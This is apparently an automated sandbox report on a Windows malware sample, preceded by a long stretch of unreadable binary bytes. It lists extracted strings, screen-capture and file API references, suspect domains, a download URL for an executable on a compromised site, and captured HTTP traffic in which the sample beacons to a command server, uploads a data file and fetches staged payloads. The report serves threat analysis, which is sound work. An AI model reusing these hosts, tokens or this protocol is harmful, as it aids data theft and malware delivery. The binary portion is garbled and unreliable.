aÚz30wBdOGFæÉ#ßLÇ9ex[ÝãßEAð êëãÑ´ûZAëñÁ¥Ã»Ñ'plwgUÊçù§ºMøJ(©úSçÅ²¤T¯ý³UVÐ®#ÕT|Dò÷©ë·ìMR sRB!íy¥ðäå%uÜ¯=iKûÂ÷<Óo)qjæ¨\iM¨ÂCs´é©Ên¿¨UñMê³7Õw´}ýÃÂ&x¯am)k¬rjð4KÁmhÇé+5¤Pr6ÝI¼¾8TnÛä4è~×qßÍ2@¬ÿi~ÀýçUá¥ÃdÈñ4ÂòLö1ÿKkÆ0ïwÙù¾ñp"´BÕÒ´æì(û¶¦å{§à£¯wÒØj|"@%a kdÁj1±ðøëÇ;Oøl^µ!b¡3Û$s¸.:¥!Lr®þ¡U·öÖfÊÍ$hn§½¹5»]³Q®õ±1ÎaÒwx4x´//³#ØÐdªóEIÝ9øÄÙ2ßÌWér 5ªíæ êâÐàÞs¡6aýÓP#ÔñÃÿAäk¬ç¼¥M? "+j3OøcòlBòXt´n¹h,vÕEÎpX:XÓ½¡ÍÃ»m-÷÷¡3@¡¢H×¤Ùé³×Mÿë·v;ã{ö|ÆËNMê°ë¨!1¹ðA:ra×Îj²4½µC;À9Jûî=ðYù+tD~S2ñûTe.:é_£Ý¼wIÕ¨Ø¤G!õNñ'EØQ4/¬XyÜ8(¨'^5Kg¿Ý¾?ß/OUX»ò¡:îP¿"AB·SçôÉS®Mõº&¼E¿ÎóuMàbn²ÄéIÒÎ_p¦jñÁ¡=ð ëMõ×v¾Oi¢zÚò²Ü+"ÛÈG{ZÞ¼°ÑzWñ¿D<ý"«Q;éÝV27o¾ÖYçêZ¡3ÍÓë?ëºdÐvåM$«ýþ¥øäÐª©9:#Û×SñìSµ²å-¾T¤ÓÿfËòûèlÃ{ÑIÒbéòôf:Nj¸%wæd)Já¢ÎÍ7:§¬³0ª^`´;l. 5¿¿Ã:8Zædûèwª/JÌFAKoÕ&Ïûû×XÆXå¡Y±p~PËwÐýº¤[C $^4.ÝÌçÈÆxÐëÓÙï®×ØÎWA´=^^ÈRT2.®ß+Çê'Jtð}êgxÿ3y¡|ôbúî.@¥8kue"÷ó4YA§Ê?êdýkÈõÎ¦®á³çBçiM]k8ÏÏFèU×oÄDé8ü¥4¤Ø 1Eè@T\£YÀÃÝ°øÁ#ªÕ³`Yk@_Ëe;*ÞaÏ¯¶oÐÂo¹,{8ô×çI¬Ö%ÐÒÜN^|¼ÖÏ[{]Brcs9ÝÔÓ¨7UÂâ¯eAþÕ¸^X'ÕÒÐ:?óôêPßËö/>W/ /Àøq'Hea¯ùðJ'¾øz+üËW£vVB9C¤µÅ%çË4|ëDÿ*ª;>}oæd°÷c²Dø^:.2H'føkªO`hÇà+#ÕÛ4òÝYPÔl¬Yp2Tö¹W¦ýÑaû+Y®R¦,®%ìé¸%òg<èfÕrDÖ¨H+©µèÃtÐbÞûFènm c)sã£Xñ¿Õv·ÈBäêÎ²$×bVxVÁ½pµ7âä5ÛnÊÛÊ¾äAFÿn{©0Éa\TJÇ|+V&&+ ×£z.ò°þ½×Ë¿*<Ó!öf]&Îàë¥Û®gî8÷ÔÍíáJ\,[øÄEé2sÍÃP:xu°j[üÒVÐª?Û<ö~JaV.%Á´]6¶DIåYk0½þon/F%ÉZ®ûÑÛ%ÍÇÎ3>âÕÃÐGwÝ3,tµ»£¢Ü*Ö9ò×_ªyãnoW¥mMÐÂ8Ð·_,³Âà»²PÄ½QóÞ8ø¦¨¥!õÕ\yÛâ¥)CÄÿôDFýhHw^:ACÌÉ)Î¦ ¼¿¶÷+AZ[`k¶ÃYVpcè¶È¿\:FMåºËQd¯ÜÇg5u37|s`òÚÈ±æä(º[Y¨+{GÀó.ÌËÛ³F =ÑOåÀxþL¦¿Ý¾ì¦=ÀÄØV¤[ítKÌåÓ²ãi¥Iÿw&Î·EÁ_õTeöo49ú©®,ó0]Ööcm)]4ÿ}¶7n&7¹§ØuûBcw©×Mt.±-"i; \FÙJ:Î>ÐÔ) lAÉUwìdØçàãXºOL=@½¨¬Û6h *]3*Â´ìÆi`[ÊMÑõV¬ûÏ¶d5õs=ãJºêacK"ÿE¸ïÿ´ì1©Ýd¸zåÒ2ÜÓÝ3xÈ¼å¦SVÌÊÍñâß|\MYhxA7fßë_g²Í½d){¦·"¯8lo¥äKÉ)ø Ì#¨éíÍj~¢ øÇØhñ$ÞxÀýjG{ó® Ô·þV1G.haÆº ÍSF²¶ÙÍç6Ù{ä-X~æ÷RM µ-ê *^[«8·¹Ë®÷.Èg¢z®©-OÅL0)@GË¤ÄÛD£Z`õØ<ù3.Å#¡"Ë}LFSjµlYïþ3i³0BåPØ"$pÒRÏÜÛl¨§øgýò.Jr£ £»fè»£ª¾ÄåBË<éÒã4áôz÷TÕ'+?2C·ÚÈ'Ãû¯ül½zÎÔpÑ"Ý÷í\l.ó3´§î[&+Wwò;Õ§×N|é('&XÐiÙ®å^~7§¯ûN!S¬aöµ4)¹ééS*oïlÂ.}6ý ùc³cË6Î¹²'Î¯wãÕóÕ¤Ê´$øIw¯±eé$ópÎ§åàZ0¢Vè+zC]·`$pT$6{eÖéôY¨þuZÉU¸æèé³T{ oÚt«uÂõm3Î½íu"V9Ú~Lþáw®WÅ¦ÂU¹îWî~N~GØ}Þ$ß¹5ðâLÚ®é¯ï³Î¾[0nW=ñ/Ýmp°hõ/=Û÷7¬42`>å÷õiMC9x©"t*30$@Âc(7Ð^¿JTÖ×èw4f$±ÇÁù°ª®wÎÛÓrâø×¦Õó³}ìøééw^¢Q8ßúºûFP8¦Ç/$ÒtpnBV¹}5ÂÛ¼Ò¼'.*µ®3yIùñIõ¸}ÕG°©p;tXiÁ~R#m6Å5Pnô9¤ônÌlWÆV.Åx6 VßbÀÂàCZèANoCD·MnãÛí_JHy%Y2(Õêwóîs¿×ªûìZ¨ëÂÞDÙcoOHÞÎüü2Y7·Ä'ºØni i¤I¼¶2UXÀE:M& GH· g°tòyo¯§Ra?ýØ²Tn©bx}"ß^ÛÀÑà2úó@²âìÿæ/a4Á6Ä§'äÚÜ@ìA[5úåkcs©!Õ¼ê¢GëæÇãÿ!ÿ»©Òõñ±hÓkèE>Ù»\ÃÀEÙf«ìN×²÷É~·_³£ÜA 1©V©+!¥5ÓFTùäÀ(®N`O2¯ogÉC/®¬w{áðáçÁ¿Ç#?i½mÔ]g]â°f?¯°÷TR®ÞmDÚgz»R0~{%»üù`Ù!ßÀ*>´ß<å+qqbùgYÃw½g;]*J1o¦f;eiÜLË<}ÑPd²¸ÆÍ%jC]éK°\$2lpú9î¨»)R!C=#zaYß¹uþBãø*|Áfë ©¨þÍ¼=nÞ©}Sín±E² \øÂ°¤ã£e@:Ï db?´"#ñ1`ËeÉ.Ëo§½/ {QÆ*¹]©$íôÖk:½0)¸Xò\Guo>STÇÐöä¤bõù¼bßµâHØTÕ¸úù5^ÕîËDÇSÝ_(fÚËx/FiuÃ¨õrÍæj{Uaní\b¹/V|)S!Úm\ÈîWhÒâ<(üvLiÅ$hÙê¯xÃ6T¡q&µò;ázëú²zRiæE5ÞãÃ2DÁÄ¹´2ÜDR|.ò:*.wÇ1C!¥è4±C#¿m?â¦ãF´úEôyL8'0#fH3¡L¾ØUr^F'z$ÈUÈ°Ó§"åBä5{Z!@c[÷§ÉÇd§ê¿æ§hðX_õÁ>å¥äz¦i3æ¥½<ÂKé«PÒÕ~µÙIÌÔájñIJÂêòÙ¡ÔsÐáÒ tgoÂ©0Q]>K(ËúÖz³T#öðF2ÍçqÃaHrw-Þ_÷yx_RPé2ÒùµÀ)ÅÊ«aòkBMøÜ+8WEÜòÏÃ'sâ&©ÝÊáÑ |_>ú±¢2QVcÈ,ú_îtÚÿÈ´dÒìÍ'táh©ýÏ.Õ³»þD²hé³2fÐRG0Æo±ßfÈÀ® ùú¹¡Ø@ëÔ¨ÔK8@)ÈhínÜZ!°ÉxûÕI2¢knyùÛ/.~LõÉpH>ÖØU¶ÃØÙjì&#eõ0Y<èÄ¡óNM9Ju'ì@U:ÒWm'>ÔëÖò#ÙÔÇ¥¸±³3)ÙãêÝ¼%jfxÑ·:h.£¨ð× ×¹X>)cÝÐ²$>+pdl9 Eú¬eñú=wÔD©yâ·ÎçDêJÆVñç&M«Ü³ssï2à FAåø^?g~Ôó·!ÛÀj²/Eß=ÆU¶öO»LÌ5 ø{Îð~tì%©£.l¬¢aZ6±>èççrk£©ØößzÝï¥èdOC¿±C8ù6)AÕÜëÿ«×ôÙ|°ÍæÊ(]6y[ôro?TÁ,8ïä;íqðyüÍÎ5¸þ*Ø@0?ÕÂ[bROfçòõÂ+`yÖ+âR«ggY]3~ÇHLö<ÄE¤m¼eI2«Â¶ªLýûSoÆaìªäÐ8\tcWTN¦dí~wÔL¼iIbtí¬fûÚ]Ê¼ÈÜì/=N =UßW¢f¸'$E4Ü»Jg/p»¿»õ©^C$iÏã.èavÂuÆ[£9cy½S_(ðÚ ¼Ñ}tþ.³K|J[À®| 0IÊÅ«ØiÀÅ`T1Q!¤k¸ê^¯M××>Û¥__Ú!:|/.ºsvdêÉÄÐGJ5Ò-º>nfþsG&0f·wòe¯â§%ú¸çyÊø¢+gôèn$ý¨5£&ÐJáÇ8V¢ÕËÊ§uÔÄëaÈ?ý(]5`DÄªéÌTÌbóà=ÎÑ#ÙÛ¨ú jÏ¤ §ÅÿmTfYdjg,)¬£hE3ÛÒ¶sOo2kåâKgî8*¥û³ï¬¹ }e½ÅdþÙG°'%ø\Z(U*³ÙPÂ.éIvc¡iKbì[7XJÍQ!ÁÜiwbÒÝXã¿¶/~Ñô÷_Q&èB_[{¤Àv_ÃÜ¤yÔ\FJ@I"1âzp4±¼ê$O:þ©é\pUÇé8U1Ï¬T¿Z@±¦ÏÏ65ÿéK@»A\§µ0P¢#÷Ãø¿f¯°kD¨³kë·ÍÆnÊÁkwÉô@foõ9jà.5<%÷í5CÐ8JÐ®bd»` Øæþ|ÍÈúÛoñÎ£ZkÌÃ+gÝyçºÌF]Å½Áf²æT/t'âÿ¤¾p"ñý&#¾KíÁä°iØgúzK@Wk+ÅpïîkpWY)Úc¨5%*êGj¹-uL.8E3¶Hy'Å¤¯ÛØã²=ÚU¿0ª©JPÍ]ùÏ)=5ûÕ#b°¿ÆÓSz¯Üu·¶òä4EÆ!P¹r÷Î8*ûa)Ñåû>G#ÈhG[¦$fO3ÛÐÿ§â9#gCÅ×ïQ¢nk&ÎE¥/hhÊjs1¿b4¹ÓL!SDá9¦x k%5?ÍQA÷}rtü,ËH ÒÆpÖcd¿¯µt4æO±¥Ù§Q¡Êç%çD5áHðÃgólÀDy¡TÆM®r'½ce¢Åbù{&)½(y¬W£âf¢K*öÏS³»N-õb2¥9Ûe1?(mèøª¡ò¾1ðgë¨K¤Ý{ãLyÝ.cºÿèÊ3ØÒEóaÑ`´êtG^ON?!(é Ñ³õ÷ÓÜ®öb£ÍÛh`PsdWrkð«Ó,µ_ù°ì½Í9æ¹Lý7¦¶M'ZÒ¶t|´mºÚ9ÒØkïªtïçp3#ÁY¶ÖaÔfæÂÙí,aoXÑqÓ7ýËwe}Ý9L´k?HÄAjÁc³ÒÉ&Uß»ï_mæXb«J08ÚË¿AFHD0öº&º0åäzÃ;î:FT4fÐæì]êÄQ¿ãR×¢j^X®¤Ü5.ÔXèM¿RÏdÒ7;})a²¯MÉSÚ~`¹ÁÒÏÌ>Ö¢óïûhD94T®öñÚF!ÜcvéM¢åú¬C*ú@JìÂ¿úb_·U¥-´ÔJ` Ö ¤'ß°úz×·ûæ'ç]~¥ÀGTBØ'Èª%äBÇ5Aî«É`ãX`®=ÀGCcªAý5ýÒà£oÈóHhÜ(«+ðUÂa ï ûYÌ¢JØµ¤ædù<ó¨GXýmI'ëÙfÅ{ãNOý@×^s¯ä0û+Á¬åZ&°-è6´]ë«óëÄË³nGºXVhèCú~Ú®-½L±¥(´L¯#$$hRiHDÑ}¾v9¥Won5ç¬z9ª±Âlªq]ûÙuxFÔ¡ÎÌÓM®ø^Rº~×R¨<øÖ¥ÁC|mÈûHo$¹>S¶´,_#£^çy?¨zÈb9c4<]VBQWBqäInð¥¥0X²f6æPã~û®£mô9B6_ÕNy¤2¾l·©» <&TÁF¡aÒÕ= æêE¤µµ-Ë{óK«¬aR*E ÛÒÔÒXä¹á#ïªv-Ú;âì|µÝéäç*¥§"--EÊ. X;ÑÖt[<£V0ë¨ð½/ágN°¿¶T¶Ð¸ÁþêòÂ§ÏàaÜÛýGá¡ªè×¡>'d/jËf·HZIÒ¤sÑ'ÌýÆÄ¦ÖúXs tRþyñè¶Ê%!£b£P]ÜPÁO[ßÆy$iIÉÃK¶Ð=0|ú}QóÈd rµWÜÛù¸Ð;vÆå¿=Zoì9"p?_ýÜ×V&ð)l5§û¿Oÿ4¶)=õú;éWÌ¸w£M¯W0Å4³j¢Õ)«k$f2»UU q±õx¡T]ÔIy'!_vU×0º÷ZIG¨w[A,,%øÇûºµ{9Pâ´H}:_ð÷fnÈvÖ^ÜM¯Në»ó$Ø+E/pâ1¸Eúþ{Å.Q¥%x:ÚF+¿íRîàüOÊÐIak7ìÌ2üÒÂFÀ;ûÓë!Hþ¾ïD¨ç¬þaAã%£QÓ9a¾U@Ôº8,\Á2ÉíèÔÛ×àÖÒ Àt£fDQò;7[+ÚzµSuúÅ&<Áª)¾¤|öÎ\@» ùä w+znÐç»iýÍi·n]ae»³¾VáEZ9RpjTkVª¸ùpïXä»{OåÍK¼ÇÎ¶×Pi[¥¦ÞEÀuøË× ÁâoÔviD4»FYâDZFÕps7WîòdÞ[0±¯F<»ê2/ÒÒÐSÎMÅärªßpoó"îÀò°¤*O÷ÚeX¢W#[ÃPªõz>-åèÖú[Ùz`ýÝsA¬NÐ=bäß ªÞ¶> Ó xÉÀí×lÖ»í4!ë«Qÿþ;ïzJ1K72Ü±¢Ë«°ØÄòQ^ùÒë»0Ê±ww¨°ÇPÈ3ß1§ªÓü§¨Q-Õà1:ª¹ûXdÜýèÍHn/ÌbÐqåN8;=ÀçÉÄûÂ=3v:`ýz: .éÓÒ¤I´©jÇÇO¤ /¦gRë=ÄÈfFÂf #ý0~«Úl´«1ÜrQ8û¡;ú¸ß {Ò×çbëzLÃ1ÁXH%¶Ù¨;«}òIÎ§ô¥¥°P_8`2äO¿Ð#¼;òûD/¾)Ìb@Q"úÐ®Â¥ý"; File: "PCAP") Found string "Content-Type: multipart/form-data; boundary=PBF6iyTmPw7"; Source: "00000000-00002496-00000CCC-1351688516") Found string "--PBF6iyTmPw7Content-Disposition: form-data; name="access_token"bcec32ef-7ee8-4cf0-826a-329e62a931b6--PBF6iyTmPw7Content-Disposition: form-data; name="type"0--PBF6iyTmPw7Content-Disposition: form-data; name="file"; filename="data"Content-Ty"; Source: "00000000-00002496-00000CCC-1351688516") Found string "Content-Type: multipart/form-data; boundary=X4P4RTcZokV877BXg0"; Source: "00000000-00002496-00000CCC-1396541748") Found string "--X4P4RTcZokV877BXg0Content-Disposition: form-data; name="access_token"bcec32ef-7ee8-4cf0-826a-329e62a931b6--X4P4RTcZokV877BXg0Content-Disposition: form-data; name="type"0--X4P4RTcZokV877BXg0Content-Disposition: form-data; name="file"; filena"; Source: "00000000-00002496-00000CCC-1396541748") Found string "Content-Type: multipart/form-data; boundary=g14aRg37"; Source: "00000000-00002496-00000CCC-1402644167") Found string "--g14aRg37Content-Disposition: form-data; name="access_token"bcec32ef-7ee8-4cf0-826a-329e62a931b6--g14aRg37Content-Disposition: form-data; name="type"0--g14aRg37Content-Disposition: form-data; name="file"; filename="data"Content-Type: appli"; Source: "00000000-00002496-00000CCC-1402644167") Found string "Content-Type: multipart/form-data; boundary=X4P4RTcZokV877BXg0"; Source: "00000000-00002496.00000002.157925.D403F000.00000004.mdmp") Found string "Content-Type: multipart/form-data; boundary=g14aRg37"; Source: "00000000-00002496.00000002.157925.D403F000.00000004.mdmp")38:T74d,Found reference to API "Error: Cannot connect panel" (Indicator: " connect "; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "Help+Please wait while the system initializes... Unable to connect to the server.Connecting..." (Indicator: " connect "; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "Expires: {0:yyyy-MM-dd} Unable to connect to the server." (Indicator: " connect "; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "Running on {0} Unable to connect to the server." (Indicator: " connect "; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "Synchronizing...+Please wait while the system initializes... Unable to connect to the server." (Indicator: " connect "; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "Error: Cannot connect panel" (Indicator: " connect "; Source: "00000000-00002496.00000002.157925.EF0C1000.00000002.mdmp") Found reference to API "Help+Please wait while the system initializes... Unable to connect to the server." (Indicator: " connect "; Source: "00000000-00002496.00000002.157925.EF0C1000.00000002.mdmp") Found reference to API "Expires: {0:yyyy-MM-dd} Unable to connect to the server." (Indicator: " connect "; Source: "00000000-00002496.00000002.157925.EF0C1000.00000002.mdmp") Found reference to API "Running on {0} Unable to connect to the server." (Indicator: " connect "; Source: "00000000-00002496.00000002.157925.EF0C1000.00000002.mdmp") Found reference to API "Synchronizing...+Please wait while the system initializes... Unable to connect to the server." (Indicator: " connect "; Source: "00000000-00002496.00000002.157925.EF0C1000.00000002.mdmp")39:T4f8,Heuristic match: "[fr] daron.org" Heuristic match: "[kr] terence.com" Heuristic match: "terence.com" Pattern match: "http://prodxk.lol:5674-74" Pattern match: "http://prodxk.lol:5674-894" Pattern match: "http://prodxk.lol:5674-56" Pattern match: "http://prodxk.lol:5674-1143" Pattern match: "http://prodxk.lol:5674-791841" Heuristic match: "cronicasdelcentro.com" Heuristic match: "get /wp-includes/text/diff/renderer/decred.exe http/1.1cache-control: no-cacheconnection: keep-alivepragma: no-cacheuser-agent: mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/117.0.0.0 safari/537.36host: cronicasdel" Pattern match: "http://prodxk.lol:5674/" Pattern match: "http://wwwdxk.lol:5674/" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Pattern match: "http://pro" Pattern match: "http://cronicasdelcentro.com/wp-includes/text/diff/renderer/decred.exe" Pattern match: "ube.com/watch?v=9bzkp7q19f0" Pattern match: "cronicasdelcentro.com/wp-includes/text/diff/renderer/decred.exe" Heuristic match: "ronicasdelcentro.com" Pattern match: "ww.youtube.com/watch?v=9bzkp7q19f0" Heuristic match: "host: cronicasdelcentro.com" Pattern match: "http://www.w3.org/2000/svg" Pattern match: "http://www.w3.org/1999/xlink"3a:T60d,Found reference to API "GetDC" (Indicator: "GetDC"; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00002496.00000001.156369.D5CE0000.00000004.mdmp, 00000000-00002496.00000002.157925.40031000.00000002.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00002496.00000001.156369.D5CE0000.00000004.mdmp, 00000000-00002496.00000002.157925.40031000.00000002.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00002496.00000001.156369.D5CE0000.00000004.mdmp, 00000000-00002496.00000002.157925.40031000.00000002.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00002496.00000001.156369.D5CE0000.00000004.mdmp, 00000000-00002496.00000002.157925.40031000.00000002.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00002496.00000001.156369.D5CE0000.00000004.mdmp, 00000000-00002496.00000002.157925.40031000.00000002.mdmp")3b:T5f3,Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin")3c:T64d," "access_token=&debug=http://prodxk.lol:5674-74" HTTP/1.1 200 OK Server: nginx Date: Fri 01 May 2026 15:30:05 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 74 Host: prodxk.lol:5674" with payload::==> "tag=f2673ae7a073e84f7bdbbdb0ceedb6af&hwid=8bafdb19fc97c2979c1a4279b11fb133" HTTP/1.1 200 OK Server: nginx Date: Fri 01 May 2026 15:30:06 GMT Content-Type: application/octet-stream Content-Length: 117 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"75-/EYI73py9RJvyXFGRbO4taKqAe0" with response body ==>524AC281C29D7A0760C298C2B8797AC2840FC38AC3A4C39428C2AB50301A5DC2ADC38A5CC285C3962EC28DC2BEC3824CC281C2ABC395C39A702C3BC2A9C2A9C2....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 82 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=http://prodxk.lol:5674-894" HTTP/1.1 200 OK Server: nginx Date: Fri 01 May 2026 15:30:07 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=PBF6iyTmPw7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 894 Host: prodxk.lol:5674" with payload::==> "--PBF6iyTmPw7Content-Disposition: form-data; name="access_token"bcec32ef-7ee8-4cf0-826a-329e62a931b6--PBF6iyTmPw7Content-Disposition: form-data; name="type"0--PBF6iyTmPw7Content-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-stream¤;ÿqÀÇû7Ä³fm)-ì¡b»rK5ÖÃÉÀ¦Ùè¤úe¶ÜNÅy%Yz:.úb§Ï9rnÕZkã°'KÞÅÉàRuR§¢}îqB'¿²jÏÎÌôPºÇÁU¹âxvÈm?©6åPÿï½ýÉÙvb_øoiê¾t¦ô¿4ìà_vWì;í°v]ß¶úfÌ1îÃ¾× ¨÷=qå !d+¯#À«RÚ+tÕsHþN$Dúð"¼s}¹çéM«¦ªìT ¼ÉeªhuÎÉ©BR`|íØ:-ÒE)ªôôþqüaµç3¿óoUmáY*À >n4²SÐXë·4óÿ½¨>Ø*út¿³7?Zb Ý+Â»(¡±ë#kB¥Ô¿3Ô*µfÛZ ;EþFOÁÞ^+á©=1íía°l¡1ë3ìÀ¾ËÝ2^dVØKÕIØBHB)j`óf5G]ßDbxíª]#0ÂPæRÐ¬=·ØÛ%x ÐÆÇÊ¥Üoø¯Ä}j©Ì®&ËÆcÇò_öváµ(QO9×lMxolÊ3£ë¶'iÃÅêú¤¦ÄäÕûøÄ½^%]\eIzÝÕUÖhZPÎ<ðaÅ¤¿¶ê6eña--PBF6iyTmPw7--" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:07 GMT Content-Length: 8 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true with response body ==>7265636569766564......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 81 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=http://prodxk.lol:5674-56" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:08 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&step=1" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:09 GMT Content-Type: application/octet-stream Content-Length: 2457 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"999-6KeCTdqI/Kixb/RSoaa3oaTz3OQ" with response body ==>700FC38FC3B373C3882FC3BEC2A6C2866AC2B706C2BE7FC2AB5C49C38FC2BB1FC2BF0A54C2B33A5368C3A16DC2BEC3B5C28B7C07C3A512C2AC31C28419C286C2......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 81 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=http://prodxk.lol:5674-56" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:10 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 81 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&debug=http://prodxk.lol:5674-56" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:11 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: prodxk.lol:5674" with payload::==> "access_token=bcec32ef-7ee8-4cf0-826a-329e62a931b6&step=3" HTTP/1.1 200 OK Server: nginx Date: Fri, 01 May 2026 15:30:12 GMT Content-Type: application/octet-stream Content-Length: 44334 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: 